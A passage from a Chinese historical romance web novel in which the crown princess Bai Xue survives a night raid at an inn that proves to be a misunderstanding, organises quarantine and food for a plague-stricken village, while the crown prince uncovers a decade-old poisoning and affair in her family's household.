裴宴景有些惊讶,难道出事了?急切地接过纸条展开,只见上面写着:
纪晓云托山匪劫人,太子妃暂时安全,五溪镇官驿不正常,望太子派人前来救助。
裴宴景眼神瞬间冷了下来,心中十分担忧,交给别人他不放心,唯有自己裴宴景最为放心,他虽不能随意出入京城,但在他心里白雪的安危最为重要,速度快些的话,今晚一个来回应该来得及:“查查纪晓云什么时候回京,准备两匹快马,随我去五溪镇官驿。”
“是,太子。”话毕,肖玉立马转身离开。
而此时的驿站内,店小二刚上完菜,白雪对栖霞道:“去叫他们过来吃饭。”
“是,太子妃。”话毕,栖霞走出房间,径直走向隔壁,正打算敲门手刚举到半空,门就已经从里面打开了,栖霞见祁越眼神犀利,不自觉地往后退了一步,见他又恢复平静,才说道:“太子妃让我叫你们吃饭。”栖霞没看见陈伯,问了句:“陈伯呢?”
祁越关上门:“走吧,他去喂马了。”
栖霞:“哦。”
白雪与李妍已坐在位置上,听见脚步声音,两人立马朝门口看去,见是栖霞和祁越都松了口气。
白雪见陈伯不在正打算开口问,栖霞就已经先一步开口说道:“陈伯喂马去了。”
白雪:“他有吃的吗?”
栖霞:“奴婢等会儿给他送去。”看向祁越,问道:“陈伯在哪里喂马?”
祁越:“不清楚,他说他去喂马,不回来睡觉。”
马车里还有干粮,应该够陈伯吃饱,这样想着白雪对两人说道:“先坐下吃饭。”
吃饱喝足后,对于这家店是什么情况,白雪也说不清楚,但那明晃晃的敌意,白雪却感受清楚,还有就是今日遇见山匪时,白雪感觉自己被人盯着,不知道是不是她的错觉,但那视线却她却没感觉到敌意。
想到这里,白雪开口对祁越说道:“今日遇到山匪时,你可有感受到被人盯着的感觉?”
被人盯着?
祁越没感受到什么被人盯着的目光,不对…好像有过,但也只是一瞬而已,他以为是路过的人,难道他们从京城出发时,就已经被盯上了吗?
这事太子知道吗?
还是说那道目光只是短暂的停留,并不是故意而为之?
祁越:“太子妃感受到了什么?”
白雪有说不清什么感觉,但她肯定没有敌意,因为她没有脊背发凉的感觉,但进入驿站时,却有这种感觉。
白雪摇摇头道:“没感受到敌意。”
栖霞凑近李妍小声问道:“你感觉到了吗?”
李妍哪里知道,她注意力都在绣荷包上,摇摇头道:“没有。”
“我也没感受到。”栖霞不由得感慨太子妃的第六感也太强了。
话虽如此,但万不可大意,祁越说道:“今晚就知晓了。”对栖霞说道:“你晚上睡觉的时候别睡得太死,遇到意外第一时间保护太子妃,我在隔壁房间随时注意到的,太子妃您可以安心睡觉。”
栖霞点点头道:“我知道,你呢?”
祁越:“属下担心他们会用调虎离山计。”
此话一出,几人神色都有些凝重,毕竟武功好的也只有祁越,不对…还有太子妃,栖霞记得太子教过太子妃武功,但这件事祁越好像并不清楚。
白雪:“若真如此,你放心去便是,不用担心我们。”
虽然太子妃这样说,但让祁越真的放心,是不现实的,希望那群人不是为了杀太子妃而来,若真如此,就算拼着他这条命,也要保护好太子妃,等待救兵到来,希望来得及。
祁越神色凝重地说道:“属下已将此事告知太子,只需撑到救兵到来。”
白雪本有些担心自己三脚猫的功夫,能不能保护身边这两位,但她更担心的是李妍会发病,若发病她根本没时间照顾到她,听到祁越这番话,瞬间有了希望,只需要等到裴宴景的人到来便是。
白雪:“好。”
祁越走后,三人就这样坐在凳子上,谁也不敢上床睡觉,但久久没人来,白雪打了个哈欠道:“先上床睡觉,有可能是我们想差了,或许不是黑店也说不准。”
栖霞早就困得点头了,但她不敢睡,担心发生意外时,她没有及时发现:“奴婢不困。”
李妍打了个哈欠道:“若真是黑店,我们睡着了,没及时发现可怎么办?”
白雪:“祁越在我们隔壁呢,有什么事他会告诉我们的,放心睡吧。”
白雪先一步上了床,房间里只有这一张床,白雪往里挪了挪,睡到最里面:“上来吧。”
李妍与栖霞对视一眼,上了床。
栖霞指着拔步床的回廊:“奴婢睡这里就行。”
白雪:“又不是在宫里,不用拘谨,上来睡便是。”
栖霞咬着唇:“谢谢太子妃。”
不知睡了多久,白雪听见了一串脚步声,立马睁开双眼清醒过来,转头看了眼身边的两人,只见她们也醒了,小声说道:“你们也听见了?”话毕,白雪便听见隔壁传来了敲墙的声音。
栖霞与李妍都神色凝重地点了点头。
嘎吱一声脆响,门被人从外面打开,白雪来不及细想,立即装作熟睡的模样。
白雪感受到那人的目光,见那人迟迟没有动作,内心不禁有些好奇,这人什么意思?耳边传来打斗声,看来祁越已经和那群人打了起来。
莫青鲛知道白雪在装睡,轻笑一声:“别装了。”
白雪三人立马睁开双眼,坐起身看向莫青鲛。
白雪疑惑的问道:“掌柜的,这是什么意思?”<
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莫青鲛不与她废话,直接动手朝她袭去。
白雪见栖霞张开双臂挡在她面前,说不感动是假的,虽然知道她是丫鬟,替主子挡伤害是她们的职责,但没有人不怕死,白雪轻轻拍了拍栖霞肩膀,飞身跃起与莫青鲛正面交锋。
莫青鲛没有料到白雪会武功,没有用全力,被白雪一挡,退后了半步,脸上浮现出玩味的笑容,这太子妃不简单。
白雪在这空隙间,从袖中滑出一物,是一支短短的白玉簪子,这是裴宴景送她的礼物,这白玉簪子不过三寸来长,瞧着不过是寻常的头饰,但白雪握着簪子的手法不同,她不是握,而是用拇指和食指轻轻捏住,仿佛根本没有用力,中指抵在簪尾,像捏着一把短剑。
白雪厉声喝道:“你可知我是谁?”
莫青鲛轻声说道:“太子妃。”
白雪有些惊讶,她竟知道,难道这不是黑店,而是有人有意而为之:“谁派你来的?”
莫青鲛不再开口,五指如钩直直的朝白雪肩膀袭去。
白雪眼神一缩,这人不打算取她性命,若真的想要杀她,不会是朝她肩膀袭来,而是直接袭击她的心脏,思及此,白雪侧身,右手抬起,白玉簪子以一个刁钻的角度刺在莫青鲛右肩上。
莫青鲛整条右臂瞬间失去力气,像被人抽掉了骨头一般,软软地垂了下来,莫青鲛不可置信地瞪大了双眼,看向自己垂落的右臂。
肩井穴乃死穴之一,点穴需要准确把握力度与绝对正确的穴位点,差之毫厘缪以千里,白雪不过随手一刺,便能精准地点在她的肩井穴。
若是把生意交给她,莫青鲛心服口服,在白雪即将朝她左肩刺去时,立马说道:“你是不是有一块玉佩,上面写着莫。”
白雪停下动作,疑惑道:“你怎么知道?”
“我叫莫青鲛。”随后从怀里掏出一小节玉笛吹响,下一秒变被白雪抢了过去,莫青鲛无奈地开口道:“我让他们别打了。”
果然,打斗声瞬间停止,白雪疑惑道:“你是莫家人?”
“那为何大半夜潜入我们房间。”
祁越闯入房间,语气焦急:“太子妃没事吧?”
白雪:“没事。”
莫青鲛笑着说道:“都是误会。”
店小二捂着肩膀跑到莫青鲛身边:“小姐,你没事吧?”
莫青鲛:“没事,你们呢?”
店小二畏惧的看了眼祁越道:“他没有杀我们,只是大家都被他打得落花流水。”
白雪点了解穴,走向桌边坐下:“坐下说话,这究竟是怎么回事?”
莫青鲛动了动右臂,坐到白雪对面,给自己倒了杯水,仰头一饮而尽,砰地一声放下杯子:“从今以后你就是我们莫家家主,莫家的生意都交与你。”
白雪有些傻眼,这什么情况?
什么叫她是莫家家主,她什么时候同意当莫家家主了?
难道那玉佩代表莫家家主的身份?
莫家的生意又是怎么回事?
33.云尼村
白雪一头雾水,早知道这么麻烦,就不接那玉佩了。
想到这,白雪从怀里掏出玉佩放到桌上:“是这块吗?”
莫青鲛拿起仔细看了看:“是这块。”
莫询走了进来,表情严肃,语气冷列:“小青,你在干什么?”
莫青鲛回头看向爹爹,把玉佩还给白雪:“爹,我……”
白雪认出他,比之前年轻许多,猜测或许是之前用了易容术:“是你,这玉佩还给你们。”
莫询瞪了一眼莫青鲛,这才看向白雪,语气带着几分无奈:“我家小女被我宠坏了,无意打扰太子妃,还望太子妃原谅。”
白雪抬手示意无妨:“打扰说不上,只是这玉佩太过贵重,我不能要。”
莫询:“没有提前告诉太子妃是我的过错,还望您能收下这枚玉佩,从今以后莫家的生意,由您做主。”
这生意主要是白雪她也不会,这人不是找莫家家主,而是要找傀儡,她不愿意,想都没想直接开口说道:“不了,你们另寻他人吧。”
莫询没想到白雪竟然毫不动心,估计是不知道他们莫家真正重要的是什么,最重要的不是生意,而是他们莫家每百年都会出一个神算子,但百年之期就快到了,不知下一个神算子什么时候降世,但这等隐秘之事,不能为外人所道也:“我能问问为何拒绝吗?”
白雪:“我无意掺合你们的家事,更何况我根本不懂做生意。”
莫询拿回玉佩:“既如此,玉佩我就收回来了。”说完对莫青鲛使了个眼神。
莫青鲛一愣,没明白这什么意思,猜测或许是让她与太子妃交好,不过她们莫家不是不掺合政事吗?
爹爹究竟是什么意思?
希望她猜的没错,莫青鲛脸上挂着微笑开口说道:“太子妃今日之事希望您不要介意,这件事我做的不对,我想您道歉。”说着对白雪九十度弯腰:“对不起,希望以后我们能做朋友。”
多个朋友多条路,是这么多年白雪学会的最重要的人生信条,不管她什么目的,当朋友总没错,就算当不成朋友,也一定不要成为敌人。
白雪笑着开口道:“这是当然。”
“行,那我们就不打扰太子妃休息了,告辞。”莫询说完,带着人走出房间。
等人走后,白雪才有空看向祁越:“你没事吧?”
祁越:“那些人没有冲着命来,打得也畏手畏脚,属下没什么事,有事的是他们。”
白雪:“没事就好,休息吧,明天一大早还要赶路。”
赶了一晚上,裴宴景终于赶到官驿,见整个店里黑黢黢的,心里不免有些担心,是不是自己来晚了,翻身下马就往里面跑。
店小二听见声音回头望去,只见一个男人跑了进来,表情看起来冷静,但行动却暴露了他的慌张,立马起身问道:“这位客官请问你是住店吗?”
裴宴景看向四周,没有打斗痕迹,除了二楼的围栏有些地方是折断的,一看就是打斗留下的痕迹,从腰间取出剑,直接对着店小二道:“今天住店的人呢?”
莫青鲛听见声响从屋里走出来:“这位公子,请问您找谁?”
肖玉跑进官驿,站到裴宴景身后,呈现随时准备战斗的状态。
祁越打开门,一眼就看见站在楼下的裴宴景与肖玉,有些惊讶,太子怎么赶来了?
裴宴景听见开门声,抬头望去,见是祁越,松了一口气,看他这样子,应该是没有出事,收回剑对下楼的祁越问道:“白雪怎么样?”
祁越行礼道:“太子,太子妃没事,她们正在休息。”
“没事就好,不要告诉她我来过。”说完裴宴景就往外走,路过肖玉时,说了句:“走吧。”
肖玉跟上裴宴景的脚步,有些不解,为何来了却不去见太子妃,还不让祁越告诉太子妃他来过,赶了这么久的路,快马加鞭的赶来,却不告诉太子妃,肖玉实在想不通,没忍住开口问道:“太子为何不告诉太子妃您来过?”
裴宴景没有停留直接上马,听到这句话,低头看向肖玉:“只要她平安便好,何必让她为我担心。”说完,捏紧马衔,一鞭打在马屁上:“驾~”
两天后,黄昏时分。
马车穿过大片的田地,田里的庄稼无人照理,长满了野草,长得快的野草与庄稼等高,已分不清野草与农作物。
风一吹便闻到一股说不清的味道,混合着药材的苦味混合着腐烂的臭味,就连戴上口罩都难掩这股味道,栖霞打了个干呕:“什么味,好臭。”
白雪的视线从书上转移到栖霞的身上,见栖霞右手驱散着风,轻笑一声:“这是尸体腐烂的味道混合着药材的味道。”
就连一路上刺绣的李妍都抬起了头,眉头紧皱:“这是死了多少人。”
云尼村四周被官兵包围,每个官兵都戴上了厚厚的口罩,就连睡觉都不敢摘,深怕自己被传染,为首的官兵远远的就看见了白雪乘坐的马车,拦停马车:“这里不让过。”
祁越:“太子妃奉皇帝之命,前来治疗瘟疫的病人。”
官兵立马浮现出讨好的笑,朝身后的人挥挥手,身后之人立马打开拦截的关卡,官兵这才大声说道:“是小的眼拙,没能认出是太子妃的马车。”
白雪听见声音看向栖霞,栖霞立马领会,掀开帘子,递出一袋银子:“里面情况如何?”
官兵立马上前接过钱袋子,看了眼身后的村庄,心有余悸道:“情况不太妙,死了许多村民,之前派来的医者迟迟没有找到治疗的方案,有几个还不甚染上了瘟疫。”说着朝京城的方向,行了个抱拳礼:“要不是圣上英明,让小的们守住村庄不让村民们走出村庄,小的估计这瘟疫会蔓延开来,传入京城是迟早的事。”
白雪神色凝重,幸好提前准备了口罩,在快进入村庄时,就让所有人戴上了口罩。
栖霞:“多谢大哥告知。”
官兵笑着退后了几
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步,让马车经过,栖霞好奇的看向村庄的情况,草席裹着尸体一具紧挨一具地排在地上,栖霞数了数整整十八具尸体。
村庄的中央作为临时的治疗点,白雪下了马车看见到处都坐着病人,病人的脸颊深深地凹陷下去,颧骨突出,颞部突出,整张脸只有眼睛还活着,栖霞被吓得倒吸一口凉气,往后退了半步。
患者与家属没有分开,耳边传来一阵一阵的咳嗽声此起彼伏,年轻的、年老的、男的、女的,咳嗽声大不相同。
每个人都看向她们的方向,像是看着什么稀罕物一般,没有人开口说话,只是面无表情的盯着她们一行人。
直到一名年轻的药童:“药好了,来喝药。”所有人才活了过来,纷纷朝年轻药童涌去。
年轻药童看见她们,从眼神中流露出的喜悦,见是女子后,那份喜悦渐渐消失,走过来:“你们就是来治疗瘟疫的医者,怎么是个女子。”
这句话惹恼了栖霞,女子怎么了?
女子就不能当医者吗?
她们家太子妃多厉害啊,是她见过最厉害的医者,在栖霞心里连太医署的那群太医都没有太子妃厉害。
栖霞叉腰道:“女子怎么了?”
白雪轻声道:“栖霞,退下吧。”
栖霞立马放下手,回头看向太子妃:“太子妃。”还想说些什么,在见到太子妃平静的目光后,什么话也说不出口了。
听到这声称谓,陈明立马行礼道:“太子妃,小的有眼不识泰山,没认出是太子妃,望太子妃原谅。”
白雪其实对那句话没什么感觉,况且现在最重要的是早日找到治疗瘟疫的方案,而不是在这呈口舌之争:“无碍,现在是谁做主?”
陈明:“李泰,李太医。”
白雪治疗方案还没有头绪,但这群人不能再这样混合下去,不然迟早所有人都会被传染:“带我去见他。”
屋里只有一张低矮方桌,桌上摆着一盏煤油灯,环境昏暗无比,李泰就坐在低矮的凳子上,翻着医书,听见脚步声,头都没抬道:“又死人了?”那语气仿佛在问吃了吗?
陈明轻咳一声,李泰抬头望去,眼神里满是不耐,放下手中的医书:“怎么了?”
陈明让开身子,白雪走进屋内:“李太医,现在什么情况?”
李泰不认识什么太子妃,见是个陌生的女子,看向陈明询问道:“这位是?”
陈明走上前在李泰身边小声道:“太子妃。”
李泰一听这话,眼神里满是不解,太子妃来这里做什么,这里可不是京城里的街道,也不是风景秀丽的江南:“太子妃您来…”
白雪不管他如何看待自己,开门见山道:“我需要你把病人与正常人隔离开来,建立一个隔离区,专门供病人休息,也不准他们随意走动,只能待在隔离区。”
李泰不理解:“这是为何?”
白雪:“若不隔离,正常人被传染是迟早的事。”
34.红白喜
李泰听到这句话,来回踱步,嘴里不停呢喃着:“隔离…”
他怎么没想到呢?
早该如此,他带来的太医署的人便不会被感染。
想到这里,李泰停下脚步看向白雪,顿时有眼前一亮的感觉,没想到太子妃不仅长得漂亮,思想也很活络,说不定这场瘟疫真能因她的到来而彻底结束。
想到这里,李泰浮现笑容,虽然戴着口罩看不见,但白雪等人能明显感觉到他释放的善意与之前压抑的情绪明显不同。
李泰走向白雪,语气轻柔,深怕自己会吓到白雪,轻咳一声:“太子妃,还有什么建议,可以全部提出来。”一副希望白雪能再多说一点的态度。
陈玉明听到这句话,不由得看了一眼李泰,他何时听过如此温柔的语气,李泰对他从来都是呵斥,嫌他不够聪明,说他是榆木脑袋。
白雪:“暂时没有,其他的还得等我诊断一番才行。”
李泰这才注意到他们这一行人风尘仆仆,一看就是急于赶路,不曾停下休息的样子,顿时觉得自己有些心急了,尴尬的笑了笑:“玉明,先带太子妃等人去休息,让人准备好饭菜,供太子妃等人食用。”
陈玉明带着白雪等人前往住处,在其中一处房屋门前停下,直接推开门走了进去。
白雪没动,栖霞见状问了句:“不用询问房屋主人吗?”
陈玉明停下脚步,回头说道:“这间房子的主人死了。”许是察觉到自己说的太过直白,找补道:“哦,她不是因为瘟疫死去的,原房主只剩下一个老太太,听说儿子当了大官,她不愿意跟去京城,就自己一个人住在这里,不知道死了多久,被人发现时,已经发烂发臭了。”
听到这话,栖霞三人便进了屋子,没有继续问他的意思,人都死了,还有什么好说的。
白雪听着感觉和自己祖母一样,问了句:“叫什么名字?”
陈玉明没听明白:“什么?”问出口才反应过来,说道:“您问这老太太叫什么名字?”停住脚步思考了半响,才说道:“好像叫张素芬,对没错,她叫张素芬。”
白雪停下脚步,思绪万千,没想到老太太最后的结局竟是这样,虽然她们没怎么接触过,只是偶尔遇到老太太,老太太会拿出厨房给她做的糕点让白雪吃,不知父亲可知晓此事:“她家人知道吗?”
陈玉明想都没想就开口:“应该不知道吧,不然怎么会没人替她收尸?”
白雪:“她在哪里?”
陈玉明:“早就埋了。”
白雪:“埋在哪里?”
陈玉明:“这就不清楚了,村里的老人应该知道,我帮您去问问?”说着抬脚就要往外走。
白雪急忙叫住他:“不用了。”
栖霞从屋里走出来,笑着说道:“太子妃,这房子还挺干净的。”
陈玉明解释道:“早就知晓圣上派了人来,所以这屋子一早便收拾好了,就等你们来,那太子妃您先休息休息,我去让人把饭菜端上来。”
白雪:“好。”
白雪没有急着让陈玉明带她去看患者,坐了这么久的马车早就疲惫了,索性好好休息一晚,明日一早再去看望患者也不迟。
陈玉明听到白雪的回答后,才抬脚往外走。
白雪这才走进屋子,一共有四间房,每一间房都放置了一张床、衣柜,这房子确实瞧着干净,屋里的摆设也简单,不知是她死后被人将屋里值钱的东西拿走了,还是本来就这么简单,不管怎么样,这屋子够她们五个人住了。
白雪:“那就祁越、陈伯、李妍你们三人,一人一间房,我和栖霞住一间。”
月亮慢慢落下,太阳渐渐升起。
白雪已经收拾好出了门,见所有村民都围在一个地方,还以为是李泰他们新弄的隔离区,走近一看才发现有人在哭。
栖霞就地问了句身旁的人:“这是怎么了?”
那人看了一眼栖霞:“你是新来的?”
栖霞还有些懵,什么新来的。
白雪见栖霞没回话,直接说道:“嗯,我们昨晚到的,这是发生什么事了?”
那人唏嘘不已的说道:“盛小子他娘死了。”
白雪看见面前空地上的小男孩对着白布哭,小男孩嘴里念叨着:“娘…娘您走了,我可怎么办啊。”有些奇怪,怎么不见他其他的家人:“他家里人呢?”
“都死光了,只剩下他和他娘了,现在他娘也死了,唉~”
白雪顿时难受不已,若是她昨晚来的时候便开始替村里人诊治,或许她就不会死了。
栖霞察觉到白雪的自我责备,猜测白雪或许是因为自己没有提早替人诊治,是因为白雪的问题,她才会死的,小声说道:“太子妃这不怪你。”
白雪当然明白这不怪她,但…心里总归是过意不去的。
与此同时,京城定安侯府。
整个府里都洋溢着喜气洋洋的氛围,大门上一对大红灯笼高高挂,红绸带捆成一朵花挂在牌匾上,挡住了一半的字,整个府里到处都张贴着用红色的纸剪成的囍。
丫鬟端着水走进房间,脚步比平时轻盈许多,白雅琴早早的就起来了,兴奋、憧憬、期待的想法交织在一起,她一晚上都没睡着。
白雅琴刚洗完脸,纪璇就走进了屋子:“雅琴。”
白雅琴被丫鬟们伺候着穿衣,纪璇就站在那里看着,满眼都是欣慰,等白雅琴穿好后,才说道:“真美。”
白雅琴羞涩一笑:“娘…”
纪璇笑着说道:“还害羞了。”
白雅琴声音大了一些,走到铜镜前坐下,望着镜子里的自己,不好意思的说道:“娘!”
纪璇:“不让我说,我就不说了,不过啊,你嫁给二皇子以后可不能再像从前那般任性。”
白雅琴:“嗯。”
纪璇见她这么羞涩,有种莫名的伤感,走上前拿起梳子:“今日我给你梳头。”
白雅琴心里也多了几分伤感,就那样端坐在凳子上,等
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娘亲替她梳头。
“一梳梳到头,二梳白发齐眉,三梳…”纪璇声音越来越哽咽:“儿孙满堂。”
李泰找了半天,才终于在偏远的院子里看见白雪,白雪正在替一个老太太诊脉,今日天气正好,阳光洒在白雪身上,她本就穿了一身素白色的服饰,看起来颇有一番观音的韵味,这一眼让他顿时不敢轻易打扰白雪,连人都忘记叫了。
白雪诊完最后一个人的脉象,对她治好这群人充满了信心,其实跟感冒差不多,只是一旦感染就病发的急、传染性强。
李泰一来便被栖霞注意到,终于等到太子妃诊完脉,小声说道:“太子妃,李太医来了。”
白雪回头望去,只见李泰站在门口,抬腿走了过去:“李太医,你怎么过来了?”
李泰回过神来:“我是来告诉您,隔离区弄好了,带您过去看看?”
白雪:“好,走吧。”
白雪与栖霞跟随李泰的脚步走进一处临时搭建的院子,里面摆满了床,床与床紧挨着一起,白雪停下脚步皱着眉,她明白这是因为房屋小,患者多的缘故,但这样安排,患者与患者之间紧挨着,你传染我,我传染你的,恐怕会交叉感染。
李泰见白雪停在原地:“太子妃这样不行吗?”
白雪:“床与床之间靠得太近了。”
李泰这才看向床与床之间,好像是离得有些近了,但不近这患者就安排不完:“就这才勉强安排完所有患者的床位。”
白雪记得这屋子旁还有两户人家,走出院子,指着旁边两户:“这两户也作为临时隔离区的话,应该能安排下所有患者。”
李泰有些为难,这两户他们原本也打算作为隔离区的,可房主不同意,还说他们死了就死了,不劳烦他们。
白雪见他难以启齿的样子,问道:“他们不同意?”
李泰点了点头。
栖霞想到祁越那浑身散发的气场,小声询问:“太子妃,要不要让祁越出马,让他们同意。”
白雪也没有更好的办法,点点头道:“去吧,告诉祁越,让他过来一趟。”
话音刚落,祁越便从暗处走了出来:“太子妃,您找我?”
栖霞惊讶的看了看祁越,又看了看他走出来的地方,这人真可怕,神不知鬼不觉的就跟着她们身后,她一点被跟踪的感觉都没有,要是祁越想要杀她的话…想到这里,栖霞冷不丁打了个寒颤,还好自己弃暗投明了。
白雪有些惊讶的看向他走出来的位置,问道:“你什么时候来的?”
祁越:“您出门的时候,属下就已经跟在您身后了。”
白雪:“你来的正好,去与这两户人家商量商量。”商量商量这四个字,白雪加重了音。
三人就这样站在原地等待祁越的好消息,没人会觉得他会谈判失败,就凭他那故意释放的杀气,没人敢不同意。
李泰想起找到白雪时的场景,没忍住好奇开口问道:“太子妃您对这治疗方案可有头绪?”
35.十年前
白雪:“这治疗方案,说简单也简单,说复杂也复杂,其实最主要的是发病急、传染性强,再加上没有隔离,容易出现交叉感染的情况,最重要的是最近天冷,病来如山倒,还是得加强肉身的强健,隔离区设施齐全后,每日找艾草薰屋子,做一些肉给百姓吃,再配合喝药调理。”
李泰在白雪每说一句都点头,这个说的挺对,那个说的也挺对,就是有些懊恼自己没带上纸和笔,不然还可以在白雪说的时候写上去,这下就只能尽力地记住白雪说的话,待白雪说完后才有些为难的说道:“艾草没问题,太子妃可那肉不好弄啊,其实您昨晚吃的那些菜,都是好不容易攒下来的,今日就没那些菜了。”
白雪正欲开口,祁越就已走出院子,朝她们走来,嘴里还说着:“太子妃他们同意了。”
这消息是最近对李泰来说最好的消息,天知道这群人有多难搞:“太好了,总算敲定了一件事。”
白雪看向祁越,让祁越去抓捕猎物这件事的可行性,正好这村庄背后就是一座大山,山里的野鸡、野鸭、野兔应该可以抓到。
祁越被太子妃这眼神看得浑身起鸡皮疙瘩,太瘆人了,这种被算计的感觉,和太子看他的眼神如出一辙:“太子妃您有什么事吩咐属下便是。”
白雪:“你能去山里抓点野味吗?我想给患者改善一下伙食。”
祁越还以为要让他做什么,结果就这…小意思,想都没想直接开口:“属下立马去办。”
白雪看着祁越的背影说道:“现在肉的问题解决了,就等隔离区设施齐全办理好。”
李泰:“放心交给老夫。”
白雪有些想裴宴景了,不知他现在在京城做什么,有没有想她。
夏冰端着厨房做好的建莲红枣汤走进书房。
裴宴景正在画画头都没抬,还以为是肖玉进来:“事情办的怎么样了?”这脚步声与肖玉大不相同,抬头看见是夏冰端着碗走进来,语气与之前不同,多了几分冷淡:“放这吧。”
夏冰放到桌上后,深深的看了一眼裴宴景,这才走出书房,顺便关上了门。
肖玉进来时,看见放在那里的甜汤,这汤…看了眼画画的裴宴景问道:“太子什么时候喜欢上喝甜汤了。”
裴宴景放下笔,满意的与画中人对视,听到这话,看了眼甜汤:“赏你了。”
肖玉正好有些口渴:“谢谢太子。”毫不客气地端起碗一饮而尽,喝完还有些意犹未尽:“这味道真挺好喝的。”想起正事,放下碗:“人带回来了。”
裴宴景这才抬起头,语气焦急:“人在哪?”
肖玉与裴宴景乔装打扮走到西市一处偏远的房屋,裴宴景环顾四周:“怎么找了这么个地方?”
“太子这地方可不好找。”肖玉说完,推开门。
裴宴景听见耳边传来的唢呐声,朝声音来源看了一眼,才回头望向院落,这户院子左手边藤萝架下摆放着一张桌子,桌子年久失修上面满是灰尘,紫藤花倒是长得不错,走进院子没看见人,问了句:“人呢?”
肖玉关上门后,阿苏领着一个女人走出来,女人年纪有些大了,看起来四五十岁的模样,脸上满是皱纹,一边走一边讨好地说:“这位大哥,我做点小本生意,怎么突然就把我抓进了京城,求您放过我,我真的什么都不知道…”
阿苏看见裴宴景行礼道:“太子。”
女人的声音戛然而止,看向裴宴景,眼中满是不解,她何时得罪过太子?
裴宴景开门见山道:“十年前定安侯府究竟发生何事?”
女人思绪渐渐飘远,回到十年前那个雨夜,按理说那件事根本不足以让她隐姓埋名,她都快忘记自己曾经的名字了。
张嬷嬷:“清荷愣着做什么,还不快去叫老爷,夫人可说了,今晚那人活不了了。”
清荷打了个冷颤,回过神来:“好,我马上去。”说完走出院子,雨渐渐下大,她正好碰上刚回家的老爷,但她没注意到,反而撞上老爷。
白玉山不耐的说道:“急匆匆地干什么去?”
清荷低着头,吞吞吐吐道:“奴婢…奴婢…”
白玉山:“说!”
清荷吓了一跳,本想告诉老爷她今天发现的事,可她的余光瞧见了张嬷嬷站在她身后看着她,她顿时不敢说了:“夫人让奴婢叫您去吃饭。”
白玉山还以为她要说什么,就这点小事,也吞吞吐吐的,心里越发烦躁,再加上今日上朝,其他几家世家对他明里暗里的嘲讽,说他家底薄就算了,还只有两个女儿,这爵位从他起也要从他落:“走吧。”
白玉山进了房,瞧着一桌好菜,坐上位置:“说吧,什么事?”
纪璇摸着肚子,一脸温柔道:“今日郎中给我诊脉,说我怀孕了,有可能是个儿子。”
白玉山顿时笑开了眼,老天爷有眼,他白玉山也是有儿子的人了:“真的?”
纪璇羞涩地点点头。
白玉山拿起筷子,夹了个鸡腿放到纪璇碗里,又夹了一个鸡翅放到白雅琴碗里:“吃饭。”
没吃多久,白雪便闯了进来…
清荷说到这里,眼睛盯着裴宴景,似是在想他为何想知道定安侯府十年前的旧事,那事后,定安侯府换了所有的人,但其实是因为纪璇发现有人知道她的秘密,暗中把可能知道此事的人都杀了。
裴宴景见她这样,便知道还有什么事是没告诉他的,随意的开口问道:“所以你知道了纪璇的什么秘密?”
清荷内心咯噔一下,难道那事他已经知道了?
那为何还要找她?
清荷低着头:“奴婢不知道太子您在说什么。”
裴宴景轻笑一声:“白雪是我夫人。”
白雪?
清荷记得府里的二小姐,好像就叫白雪,抬起头问道:“您是二小姐的夫君?”
裴宴景点点头:“嗯。”眼神一直盯着清荷,就是想知道她究竟发现了什么事。
清荷松了口气:
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“我发现夫人在偷偷给二夫人的药里下毒。”
裴宴景突然有些心疼白雪,看她这样医术应该都是她娘亲教给她的,她娘亲怎么会不知道自己中毒了?
裴宴景:“你还发现了什么?”
清荷低着头,不敢说。
裴宴景见她这样,便知晓她不想说,无非是担心自己的安危:“你告诉我,我可以让你与你丈夫子女团聚,你不告诉我,我能找到你,她也一定可以找到你。”
清荷思考片刻,或许这是一个机会,自己不用再东躲西藏的机会:“夫人背着老爷有一个相好的,她怀的孩子也是因为是相好的,故意嫁祸给二小姐的。”
轰的一声,裴宴景替白雪感到不值,因为一件莫须有的罪名,被关禁闭十年,母亲还因为这事去世了,那么小一点的她独自承受这一切,不知道她那时候是多么的无助啊。
经历了这么多,她还能保持对人善良真诚,实属不易。
此时此刻,裴宴景真想把白雪抱入怀中,告诉白雪,这一切他都知道了,他知道白雪的无助、坚强和善良,以后有他了,白雪再也不用受伤后自己舔舐伤口。
而此时的白雪,正在告诉患者去隔离区的好处。
坝子里,所有乡亲们都聚集在一起,白雪站在中间,大声说道:“我知道你们之间有人舍不得与家人分开,有人会想去隔离区是不是以后就不能再出来了,我可以明确的告诉大家,去隔离区只是暂时的,这一切都是为了治疗瘟疫的手段,只要好了,便能与家人团聚,而且可以大大增加治疗效果的几率,最重要的是今天中午会有肉吃。”
“谁知道你是不是在骗我们?”
“对,小姑娘,你这么年轻漂亮,你的医术真有那么好吗?”
“就是,人家老太医之前都没这么多的要求,就你一来,就让我们与家人分开,凭什么?”
“对,凭什么?”
“凭什么?”
看着这些老百姓急头白脸的说白雪时,栖霞真的想冲进去大声说你们懂什么?
栖霞才刚动,就被李妍拉住了,栖霞看向李妍:“松开我。”
李妍轻声道:“你现在进去不能帮助到太子妃,相反还可能会激起民愤。”说着抬头看向白雪,眼神温柔又坚定:“我们只需要相信她。”
白雪笑了笑:“我知道你们在担心什么,你们担心被隔离后会见不到家人便去世了,你们放心只要你们按照我们的要求,你们可以自己去照顾自己的家人或者朋友。”
“真的?”
“此话当真?”
“你不会是骗我们的吧?”
白雪:“我以我太子妃的名义发誓,骗你们我不得好死。”
“其实也不需要发这么毒的誓言。”
“相信你便是。”
“对了,你说会有肉是真的吗?”
白雪看向远处正在端着大桶过来的陈玉明与祁越:“你们闻一闻,这空气里是不是弥漫着一股肉香味。”
36.吃肉
一时间所有便开始深呼吸,果然闻到一股肉香味。
“她说的是真的,我闻到了。”
“我也闻到了。”
突然人群中一个小孩指着陈玉明与祁越:“你们看。”
所有人看向小孩手指的方向,每个人的脸上都露出了久违的微笑。
不管白雪说的是真是假,起码她说今中午有肉吃,是真的有肉吃,所有人都开始期待她说的是真的,真的可以治好他们的病。
如果有得选,没人会想死。
两人把桶放到地上,白雪走了过去:“大家现在回家拿碗,拿碗后在这里排队领饭和肉!”
众人纷纷跑回家拿碗,深怕慢了别人半步。
白雪对祁越说道:“你去问问官兵们要不要吃。”
“属下立马就去。”祁越说完,便走了。
栖霞和李妍走了过来,栖霞看着白雪手里的勺子:“太子妃,奴婢来吧。”
李泰走了过来,对白雪眼里满是佩服,眼神扫到李妍,这女子的眼睛怎么和他失踪的孩子长得那么像?
就是这露出来的皮肤,怎么全是淡淡的疤痕,指着李妍道:“太子妃,这女子身上的疤痕是你治的吗?”
